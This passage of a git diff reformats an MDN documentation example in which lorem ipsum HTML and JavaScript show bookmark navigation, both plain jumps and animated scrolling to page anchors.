-}
-</style>
-</head>
-
-<body>
-<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
-<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibendum quis. Cras adipiscing ultricies fermentum. Praesent bibendum condimentum feugiat.</p>
-<p id="myBookmark1">[&nbsp;<span class="intLink" onclick="showBookmark('#myBookmark2');">Go to bookmark #2</span>&nbsp;]</p>
-<p>Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt. Nulla vitae tempor nisl. Etiam congue, elit vitae egestas mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.</p>
-<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
-<p>Aenean viverra varius mauris, sed elementum lacus interdum non. Phasellus sit amet lectus vitae eros egestas pellentesque fermentum eget magna. Quisque mauris nisl, gravida vitae placerat et, condimentum id metus. Nulla eu est dictum dolor pulvinar volutpat. Pellentesque vitae sollicitudin nunc. Donec neque magna, lobortis id egestas nec, sodales quis lectus. Fusce cursus sollicitudin porta. Suspendisse ut tortor in mauris tincidunt rhoncus. Maecenas tincidunt fermentum facilisis. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.</p>
-<p>Suspendisse turpis nisl, consectetur in lacinia ut, ornare vel mi. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non lectus eu turpis vulputate cursus. Mauris interdum tincidunt erat id pharetra. Nullam in libero elit, sed consequat lectus. Morbi odio nisi, porta vitae molestie ut, gravida ut nunc. Ut non est dui, id ullamcorper orci. Praesent vel elementum felis. Maecenas ornare, dui quis auctor hendrerit, turpis sem ullamcorper odio, in auctor magna metus quis leo. Morbi at odio ante.</p>
-<p>Curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. In sit amet vehicula tortor. Vestibulum viverra pellentesque erat a elementum. Integer commodo ultricies lorem, eget tincidunt risus viverra et. In enim turpis, porttitor ac ornare et, suscipit sit amet nisl. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Pellentesque vel ultrices nibh. Sed commodo aliquam aliquam. Nulla euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet turpis purus id ipsum. Donec convallis, velit non scelerisque bibendum, diam nulla auctor nunc, vel dictum risus ipsum sit amet est. Praesent ut nibh sit amet nibh congue pulvinar. Suspendisse dictum porttitor tempor.</p>
-<p>Vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper. Integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a aliquet massa mauris quis arcu. In porttitor, lectus ac semper egestas, ligula magna laoreet libero, eu commodo mauris odio id ante. In hac habitasse platea dictumst. In pretium erat diam, nec consequat eros. Praesent augue mi, consequat sed porttitor at, volutpat vitae eros. Sed pretium pharetra dapibus. Donec auctor interdum erat, lacinia molestie nibh commodo ut. Maecenas vestibulum vulputate felis, ut ullamcorper arcu faucibus in. Curabitur id arcu est. In semper mollis lorem at pellentesque. Sed lectus nisl, vestibulum id scelerisque eu, feugiat et tortor. Pellentesque porttitor facilisis ultricies.</p>
-<p id="myBookmark2">[&nbsp;<span class="intLink" onclick="showBookmark('#myBookmark1');">Go to bookmark #1</span> | <span class="intLink" onclick="showBookmark('#myBookmark1', false);">Go to bookmark #1 without using location.hash</span> | <span class="intLink" onclick="showBookmark('#myBookmark3');">Go to bookmark #3</span>&nbsp;]</p>
-<p>Phasellus tempus fringilla nunc, eget sagittis orci molestie vel. Nulla sollicitudin diam non quam iaculis ac porta justo venenatis. Quisque tellus urna, molestie vitae egestas sit amet, suscipit sed sem. Quisque nec lorem eu velit faucibus tristique ut ut dolor. Cras eu tortor ut libero placerat venenatis ut ut massa. Sed quis libero augue, et consequat libero. Morbi rutrum augue sed turpis elementum sed luctus nisl molestie. Aenean vitae purus risus, a semper nisl. Pellentesque malesuada, est id sagittis consequat, libero mauris tincidunt tellus, eu sagittis arcu purus rutrum eros. Quisque eget eleifend mi. Duis pharetra mi ac eros mattis lacinia rutrum ipsum varius.</p>
-<p>Fusce cursus pulvinar aliquam. Duis justo enim, ornare vitae elementum sed, porta a quam. Aliquam eu enim eu libero mollis tempus. Morbi ornare aliquam posuere. Proin faucibus luctus libero, sed ultrices lorem sagittis et. Vestibulum malesuada, ante nec molestie vehicula, quam diam mollis ipsum, rhoncus posuere mauris lectus in eros. Nullam feugiat ultrices augue, ac sodales sem mollis in.</p>
-<p id="myBookmark3"><em>Here is the bookmark #3</em></p>
-<p>Proin vitae sem non lorem pellentesque molestie. Nam tempus massa et turpis placerat sit amet sollicitudin orci sodales. Pellentesque enim enim, sagittis a lobortis ut, tempus sed arcu. Aliquam augue turpis, varius vel bibendum ut, aliquam at diam. Nam lobortis, dui eu hendrerit pellentesque, sem neque porttitor erat, non dapibus velit lectus in metus. Vestibulum sit amet felis enim. In quis est vitae nunc malesuada consequat nec nec sapien. Suspendisse aliquam massa placerat dui lacinia luctus sed vitae risus. Fusce tempus, neque id ultrices volutpat, mi urna auctor arcu, viverra semper libero sem vel enim. Mauris dictum, elit non placerat malesuada, libero elit euismod nibh, nec posuere massa arcu eu risus. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer urna velit, dapibus eget varius feugiat, pellentesque sit amet ligula. Maecenas nulla nisl, facilisis eu egestas scelerisque, mollis eget metus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Morbi sed congue mi.</p>
-<p>Fusce metus velit, pharetra at vestibulum nec, facilisis porttitor mi. Curabitur ligula sapien, fermentum vel porttitor id, rutrum sit amet magna. Sed sit amet sollicitudin turpis. Aenean luctus rhoncus dolor, et pulvinar ante egestas et. Donec ac massa orci, quis dapibus augue. Vivamus consectetur auctor pellentesque. Praesent vestibulum tincidunt ante sed consectetur. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Fusce purus metus, imperdiet vitae iaculis convallis, bibendum vitae turpis.</p>
-<p>Fusce aliquet molestie dolor, in ornare dui sodales nec. In molestie sollicitudin felis a porta. Mauris nec orci sit amet orci blandit tristique congue nec nunc. Praesent et tellus sollicitudin mauris accumsan fringilla. Morbi sodales, justo eu sollicitudin lacinia, lectus sapien ullamcorper eros, quis molestie urna elit bibendum risus. Proin eget tincidunt quam. Nam luctus commodo mauris, eu posuere nunc luctus non. Nulla facilisi. Vivamus eget leo rhoncus quam accumsan fringilla. Aliquam sit amet lorem est. Nullam vel tellus nibh, id imperdiet orci. Integer egestas leo eu turpis blandit scelerisque.</p>
-<p>Etiam in blandit tellus. Integer sed varius quam. Vestibulum dapibus mi gravida arcu viverra blandit. Praesent tristique augue id sem adipiscing pellentesque. Sed sollicitudin, leo sed interdum elementum, nisi ante condimentum leo, eget ornare libero diam semper quam. Vivamus augue urna, porta eget ultrices et, dapibus ut ligula. Ut laoreet consequat faucibus. Praesent at lectus ut lectus malesuada mollis. Nam interdum adipiscing eros, nec sodales mi porta nec. Proin et quam vitae sem interdum aliquet. Proin vel odio at lacus vehicula aliquet.</p>
-<p>Etiam placerat dui ut sem ornare vel vestibulum augue mattis. Sed semper malesuada mi, eu bibendum lacus lobortis nec. Etiam fringilla elementum risus, eget consequat urna laoreet nec. Etiam mollis quam non sem convallis vel consectetur lectus ullamcorper. Aenean mattis lacus quis ligula mattis eget vestibulum diam hendrerit. In non placerat mauris. Praesent faucibus nunc quis eros sagittis viverra. In hac habitasse platea dictumst. Suspendisse eget nisl erat, ac molestie massa. Praesent mollis vestibulum tincidunt. Fusce suscipit laoreet malesuada. Aliquam erat volutpat. Aliquam dictum elementum rhoncus. Praesent in est massa, pulvinar sodales nunc. Pellentesque gravida euismod mi ac convallis.</p>
-<p>Mauris vel odio vel nulla facilisis lacinia. Aliquam ultrices est at leo blandit tincidunt. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Suspendisse porttitor adipiscing facilisis. Duis cursus quam iaculis augue interdum porttitor. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Duis vulputate magna ac metus pretium condimentum. In tempus, est eget vestibulum blandit, velit massa dignissim nisl, ut scelerisque lorem neque vel velit. Maecenas fermentum commodo viverra. Curabitur a nibh non velit aliquam cursus. Integer semper condimentum tortor a pellentesque. Pellentesque semper, nisl id porttitor vehicula, sem dui feugiat lacus, vitae consequat augue urna vel odio.</p>
-<p>Vestibulum id neque nec turpis iaculis pulvinar et a massa. Vestibulum sed nibh vitae arcu eleifend egestas. Mauris fermentum ultrices blandit. Suspendisse vitae lorem libero. Aenean et pellentesque tellus. Morbi quis neque orci, eu dignissim dui. Fusce sollicitudin mauris ac arcu vestibulum imperdiet. Proin ultricies nisl sit amet enim imperdiet eu ornare dui tempus. Maecenas lobortis nisi a tortor vestibulum vel eleifend tellus vestibulum. Donec metus sapien, hendrerit a fermentum id, dictum quis libero.</p>
-<p>Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit, ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem. Nullam sollicitudin magna sed sem mollis id commodo libero condimentum. Duis eu massa et lacus semper molestie ut adipiscing sem.</p>
-<p>Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In quis varius elit. Nullam dignissim neque nec velit vulputate porttitor. Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar quis condimentum ut, porta nec justo. In hac habitasse platea dictumst. Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut tristique lacus luctus quis.</p>
-<p>Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</p>
-</body>
+  <head>
+    <meta charset="UTF-8" />
+    <title>MDN Example</title>
+    <script>
+      function showNode(oNode) {
+        var nLeft = 0,
+          nTop = 0;
+        for (
+          var oItNode = oNode;
+          oItNode;
+          nLeft += oItNode.offsetLeft,
+            nTop += oItNode.offsetTop,
+            oItNode = oItNode.offsetParent
+        );
+        document.documentElement.scrollTop = nTop;
+        document.documentElement.scrollLeft = nLeft;
+      }
+
+      function showBookmark(sBookmark, bUseHash) {
+        if (arguments.length === 1 || bUseHash) {
+          location.hash = sBookmark;
+          return;
+        }
+        var oBookmark = document.querySelector(sBookmark);
+        if (oBookmark) {
+          showNode(oBookmark);
+        }
+      }
+    </script>
+    <style>
+      span.intLink {
+        cursor: pointer;
+        color: #0000ff;
+        text-decoration: underline;
+      }
+    </style>
+  </head>
+
+  <body>
+    <p>
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices
+      dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus
+      auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in
+      placerat est. Pellentesque habitant morbi tristique senectus et netus et
+      malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor.
+      Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris
+      vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla
+      consectetur aliquam purus. Curabitur convallis, justo posuere porta
+      egestas, velit erat ornare tortor, non viverra justo diam eget arcu.
+      Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit
+      a hendrerit vitae, volutpat non ipsum.
+    </p>
+    <p>
+      Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero,
+      eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt
+      rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida
+      nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat.
+      Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit.
+      Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non
+      felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et
+      fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla
+      mauris bibendum quis. Cras adipiscing ultricies fermentum. Praesent
+      bibendum condimentum feugiat.
+    </p>
+    <p id="myBookmark1">
+      [&nbsp;<span class="intLink" onclick="showBookmark('#myBookmark2');"
+        >Go to bookmark #2</span
+      >&nbsp;]
+    </p>
+    <p>
+      Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin
+      ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros
+      convallis ut mollis magna pellentesque. Pellentesque placerat enim at
+      lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt
+      tincidunt. Nulla vitae tempor nisl. Etiam congue, elit vitae egestas
+      mollis, ipsum nisi malesuada turpis, a volutpat arcu arcu id risus.
+    </p>
+    <p>
+      Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc,
+      vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis.
+      Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem
+      ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc.
+      Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem
+      ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu
+      sem vehicula egestas.
+    </p>
+    <p>
+      Aenean viverra varius mauris, sed elementum lacus interdum non. Phasellus
+      sit amet lectus vitae eros egestas pellentesque fermentum eget magna.
+      Quisque mauris nisl, gravida vitae placerat et, condimentum id metus.
+      Nulla eu est dictum dolor pulvinar volutpat. Pellentesque vitae
+      sollicitudin nunc. Donec neque magna, lobortis id egestas nec, sodales
+      quis lectus. Fusce cursus sollicitudin porta. Suspendisse ut tortor in
+      mauris tincidunt rhoncus. Maecenas tincidunt fermentum facilisis.
+      Pellentesque habitant morbi tristique senectus et netus et malesuada fames
+      ac turpis egestas.
+    </p>
+    <p>
+      Suspendisse turpis nisl, consectetur in lacinia ut, ornare vel mi. Lorem
+      ipsum dolor sit amet, consectetur adipiscing elit. Proin non lectus eu
+      turpis vulputate cursus. Mauris interdum tincidunt erat id pharetra.
+      Nullam in libero elit, sed consequat lectus. Morbi odio nisi, porta vitae
+      molestie ut, gravida ut nunc. Ut non est dui, id ullamcorper orci.
+      Praesent vel elementum felis. Maecenas ornare, dui quis auctor hendrerit,
+      turpis sem ullamcorper odio, in auctor magna metus quis leo. Morbi at odio
+      ante.
+    </p>
+    <p>
+      Curabitur est ipsum, porta ac viverra faucibus, eleifend sed eros. In sit
+      amet vehicula tortor. Vestibulum viverra pellentesque erat a elementum.
+      Integer commodo ultricies lorem, eget tincidunt risus viverra et. In enim
+      turpis, porttitor ac ornare et, suscipit sit amet nisl. Vestibulum ante
+      ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae;
+      Pellentesque vel ultrices nibh. Sed commodo aliquam aliquam. Nulla
+      euismod, odio ut eleifend mollis, nisi dui gravida nibh, vitae laoreet
+      turpis purus id ipsum. Donec convallis, velit non scelerisque bibendum,
+      diam nulla auctor nunc, vel dictum risus ipsum sit amet est. Praesent ut
+      nibh sit amet nibh congue pulvinar. Suspendisse dictum porttitor tempor.
+    </p>
+    <p>
+      Vestibulum dignissim erat vitae lectus auctor ac bibendum eros semper.
+      Integer aliquet, leo non ornare faucibus, risus arcu tristique dolor, a
+      aliquet massa mauris quis arcu. In porttitor, lectus ac semper egestas,
+      ligula magna laoreet libero, eu commodo mauris odio id ante. In hac
+      habitasse platea dictumst. In pretium erat diam, nec consequat eros.
+      Praesent augue mi, consequat sed porttitor at, volutpat vitae eros. Sed
+      pretium pharetra dapibus. Donec auctor interdum erat, lacinia molestie
+      nibh commodo ut. Maecenas vestibulum vulputate felis, ut ullamcorper arcu
+      faucibus in. Curabitur id arcu est. In semper mollis lorem at
+      pellentesque. Sed lectus nisl, vestibulum id scelerisque eu, feugiat et
+      tortor. Pellentesque porttitor facilisis ultricies.
+    </p>
+    <p id="myBookmark2">
+      [&nbsp;<span class="intLink" onclick="showBookmark('#myBookmark1');"
+        >Go to bookmark #1</span
+      >
+      |
+      <span class="intLink" onclick="showBookmark('#myBookmark1', false);"
+        >Go to bookmark #1 without using location.hash</span
+      >
+      |
+      <span class="intLink" onclick="showBookmark('#myBookmark3');"
+        >Go to bookmark #3</span
+      >&nbsp;]
+    </p>
+    <p>
+      Phasellus tempus fringilla nunc, eget sagittis orci molestie vel. Nulla
+      sollicitudin diam non quam iaculis ac porta justo venenatis. Quisque
+      tellus urna, molestie vitae egestas sit amet, suscipit sed sem. Quisque
+      nec lorem eu velit faucibus tristique ut ut dolor. Cras eu tortor ut
+      libero placerat venenatis ut ut massa. Sed quis libero augue, et consequat
+      libero. Morbi rutrum augue sed turpis elementum sed luctus nisl molestie.
+      Aenean vitae purus risus, a semper nisl. Pellentesque malesuada, est id
+      sagittis consequat, libero mauris tincidunt tellus, eu sagittis arcu purus
+      rutrum eros. Quisque eget eleifend mi. Duis pharetra mi ac eros mattis
+      lacinia rutrum ipsum varius.
+    </p>
+    <p>
+      Fusce cursus pulvinar aliquam. Duis justo enim, ornare vitae elementum
+      sed, porta a quam. Aliquam eu enim eu libero mollis tempus. Morbi ornare
+      aliquam posuere. Proin faucibus luctus libero, sed ultrices lorem sagittis
+      et. Vestibulum malesuada, ante nec molestie vehicula, quam diam mollis
+      ipsum, rhoncus posuere mauris lectus in eros. Nullam feugiat ultrices
+      augue, ac sodales sem mollis in.
+    </p>
+    <p id="myBookmark3"><em>Here is the bookmark #3</em></p>
+    <p>
+      Proin vitae sem non lorem pellentesque molestie. Nam tempus massa et
+      turpis placerat sit amet sollicitudin orci sodales. Pellentesque enim
+      enim, sagittis a lobortis ut, tempus sed arcu. Aliquam augue turpis,
+      varius vel bibendum ut, aliquam at diam. Nam lobortis, dui eu hendrerit
+      pellentesque, sem neque porttitor erat, non dapibus velit lectus in metus.
+      Vestibulum sit amet felis enim. In quis est vitae nunc malesuada consequat
+      nec nec sapien. Suspendisse aliquam massa placerat dui lacinia luctus sed
+      vitae risus. Fusce tempus, neque id ultrices volutpat, mi urna auctor
+      arcu, viverra semper libero sem vel enim. Mauris dictum, elit non placerat
+      malesuada, libero elit euismod nibh, nec posuere massa arcu eu risus.
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer urna
+      velit, dapibus eget varius feugiat, pellentesque sit amet ligula. Maecenas
+      nulla nisl, facilisis eu egestas scelerisque, mollis eget metus.
+      Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere
+      cubilia Curae; Morbi sed congue mi.
+    </p>
+    <p>
+      Fusce metus velit, pharetra at vestibulum nec, facilisis porttitor mi.
+      Curabitur ligula sapien, fermentum vel porttitor id, rutrum sit amet
+      magna. Sed sit amet sollicitudin turpis. Aenean luctus rhoncus dolor, et
+      pulvinar ante egestas et. Donec ac massa orci, quis dapibus augue. Vivamus
+      consectetur auctor pellentesque. Praesent vestibulum tincidunt ante sed
+      consectetur. Cum sociis natoque penatibus et magnis dis parturient montes,
+      nascetur ridiculus mus. Fusce purus metus, imperdiet vitae iaculis
+      convallis, bibendum vitae turpis.
+    </p>
+    <p>
+      Fusce aliquet molestie dolor, in ornare dui sodales nec. In molestie
+      sollicitudin felis a porta. Mauris nec orci sit amet orci blandit
+      tristique congue nec nunc. Praesent et tellus sollicitudin mauris accumsan
+      fringilla. Morbi sodales, justo eu sollicitudin lacinia, lectus sapien
+      ullamcorper eros, quis molestie urna elit bibendum risus. Proin eget
+      tincidunt quam. Nam luctus commodo mauris, eu posuere nunc luctus non.
+      Nulla facilisi. Vivamus eget leo rhoncus quam accumsan fringilla. Aliquam
+      sit amet lorem est. Nullam vel tellus nibh, id imperdiet orci. Integer
+      egestas leo eu turpis blandit scelerisque.
+    </p>
+    <p>
+      Etiam in blandit tellus. Integer sed varius quam. Vestibulum dapibus mi
+      gravida arcu viverra blandit. Praesent tristique augue id sem adipiscing
+      pellentesque. Sed sollicitudin, leo sed interdum elementum, nisi ante
+      condimentum leo, eget ornare libero diam semper quam. Vivamus augue urna,
+      porta eget ultrices et, dapibus ut ligula. Ut laoreet consequat faucibus.
+      Praesent at lectus ut lectus malesuada mollis. Nam interdum adipiscing
+      eros, nec sodales mi porta nec. Proin et quam vitae sem interdum aliquet.
+      Proin vel odio at lacus vehicula aliquet.
+    </p>
+    <p>
+      Etiam placerat dui ut sem ornare vel vestibulum augue mattis. Sed semper
+      malesuada mi, eu bibendum lacus lobortis nec. Etiam fringilla elementum
+      risus, eget consequat urna laoreet nec. Etiam mollis quam non sem
+      convallis vel consectetur lectus ullamcorper. Aenean mattis lacus quis
+      ligula mattis eget vestibulum diam hendrerit. In non placerat mauris.
+      Praesent faucibus nunc quis eros sagittis viverra. In hac habitasse platea
+      dictumst. Suspendisse eget nisl erat, ac molestie massa. Praesent mollis
+      vestibulum tincidunt. Fusce suscipit laoreet malesuada. Aliquam erat
+      volutpat. Aliquam dictum elementum rhoncus. Praesent in est massa,
+      pulvinar sodales nunc. Pellentesque gravida euismod mi ac convallis.
+    </p>
+    <p>
+      Mauris vel odio vel nulla facilisis lacinia. Aliquam ultrices est at leo
+      blandit tincidunt. Vestibulum ante ipsum primis in faucibus orci luctus et
+      ultrices posuere cubilia Curae; Suspendisse porttitor adipiscing
+      facilisis. Duis cursus quam iaculis augue interdum porttitor. Vestibulum
+      ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia
+      Curae; Duis vulputate magna ac metus pretium condimentum. In tempus, est
+      eget vestibulum blandit, velit massa dignissim nisl, ut scelerisque lorem
+      neque vel velit. Maecenas fermentum commodo viverra. Curabitur a nibh non
+      velit aliquam cursus. Integer semper condimentum tortor a pellentesque.
+      Pellentesque semper, nisl id porttitor vehicula, sem dui feugiat lacus,
+      vitae consequat augue urna vel odio.
+    </p>
+    <p>
+      Vestibulum id neque nec turpis iaculis pulvinar et a massa. Vestibulum sed
+      nibh vitae arcu eleifend egestas. Mauris fermentum ultrices blandit.
+      Suspendisse vitae lorem libero. Aenean et pellentesque tellus. Morbi quis
+      neque orci, eu dignissim dui. Fusce sollicitudin mauris ac arcu vestibulum
+      imperdiet. Proin ultricies nisl sit amet enim imperdiet eu ornare dui
+      tempus. Maecenas lobortis nisi a tortor vestibulum vel eleifend tellus
+      vestibulum. Donec metus sapien, hendrerit a fermentum id, dictum quis
+      libero.
+    </p>
+    <p>
+      Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed
+      consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor
+      rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit,
+      ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis
+      in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem.
+      Nullam sollicitudin magna sed sem mollis id commodo libero condimentum.
+      Duis eu massa et lacus semper molestie ut adipiscing sem.
+    </p>
+    <p>
+      Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In
+      quis varius elit. Nullam dignissim neque nec velit vulputate porttitor.
+      Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar
+      quis condimentum ut, porta nec justo. In hac habitasse platea dictumst.
+      Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque
+      placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget
+      convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut
+      tristique lacus luctus quis.
+    </p>
+    <p>
+      Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed
+      facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu
+      sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum
+      aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices
+      tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc
+      fringilla eget. Praesent scelerisque urna vitae nibh tristique varius
+      consequat neque luctus. Integer ornare, erat a porta tempus, velit justo
+      fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel
+      dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar
+      laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque
+      sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales
+      eleifend interdum.
+    </p>
+  </body>
 </html>
 ```
 
@@ -142,29 +385,56 @@ span.intLink {
 
 ```js
 var showBookmark = (function () {
-  var  _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark,
-       /*
-       * nDuration: the duration in milliseconds of each frame
-       * nFrames: number of frames for each scroll
-       */
-       nDuration = 200, nFrames = 10;
-
-  function _next () {
-    if (_itFrame > nFrames) { clearInterval(_scrollId); _scrollId = -1; return; }
+  var _useHash,
+    _scrollX,
+    _scrollY,
+    _nodeX,
+    _nodeY,
+    _itFrame,
+    _scrollId = -1,
+    _bookMark,
+    /*
+     * nDuration: the duration in milliseconds of each frame
+     * nFrames: number of frames for each scroll
+     */
+    nDuration = 200,
+    nFrames = 10;
+
+  function _next() {
+    if (_itFrame > nFrames) {
+      clearInterval(_scrollId);
+      _scrollId = -1;
+      return;
+    }
     _isBot = true;
-    document.documentElement.scrollTop = Math.round(_scrollY + (_nodeY - _scrollY) * _itFrame / nFrames);
-    document.documentElement.scrollLeft = Math.round(_scrollX + (_nodeX - _scrollX) * _itFrame / nFrames);
-    if (_useHash && _itFrame === nFrames) { location.hash = _bookMark; }
+    document.documentElement.scrollTop = Math.round(
+      _scrollY + ((_nodeY - _scrollY) * _itFrame) / nFrames,
+    );
+    document.documentElement.scrollLeft = Math.round(
+      _scrollX + ((_nodeX - _scrollX) * _itFrame) / nFrames,
+    );
+    if (_useHash && _itFrame === nFrames) {
+      location.hash = _bookMark;
+    }
     _itFrame++;
   }
 
-  function _chkOwner () {
-    if (_isBot) { _isBot = false; return; }
-    if (_scrollId > -1) { clearInterval(_scrollId); _scrollId = -1; }
+  function _chkOwner() {
+    if (_isBot) {
+      _isBot = false;
+      return;
+    }
+    if (_scrollId > -1) {
+      clearInterval(_scrollId);
+      _scrollId = -1;
+    }
   }
 
-  if (window.addEventListener) { window.addEventListener("scroll", _chkOwner, false); }
-  else if (window.attachEvent) { window.attachEvent("onscroll", _chkOwner); }
+  if (window.addEventListener) {
+    window.addEventListener("scroll", _chkOwner, false);
+  } else if (window.attachEvent) {
+    window.attachEvent("onscroll", _chkOwner);
+  }
 
   return function (sBookmark, bUseHash) {
     _scrollY = document.documentElement.scrollTop;
@@ -174,10 +444,14 @@ var showBookmark = (function () {
     for (
       var nLeft = 0, nTop = 0, oNode = document.querySelector(sBookmark);
       oNode;
-      nLeft += oNode.offsetLeft, nTop += oNode.offsetTop, oNode = oNode.offsetParent
+      nLeft += oNode.offsetLeft,
+        nTop += oNode.offsetTop,
+        oNode = oNode.offsetParent
     );
-    _nodeX = nLeft, _nodeY = nTop, _itFrame = 1;
-    if (_scrollId === -1) { _scrollId = setInterval(_next, Math.round(nDuration / nFrames)); }
+    (_nodeX = nLeft), (_nodeY = nTop), (_itFrame = 1);
+    if (_scrollId === -1) {
+      _scrollId = setInterval(_next, Math.round(nDuration / nFrames));
+    }
   };
 })();
 ```
diff --git a/files/ko/web/api/window/matchmedia/index.md b/files/ko/web/api/window/matchmedia/index.md
index 5bb64cea01841d..c4c292475c5caf 100644
--- a/files/ko/web/api/window/matchmedia/index.md
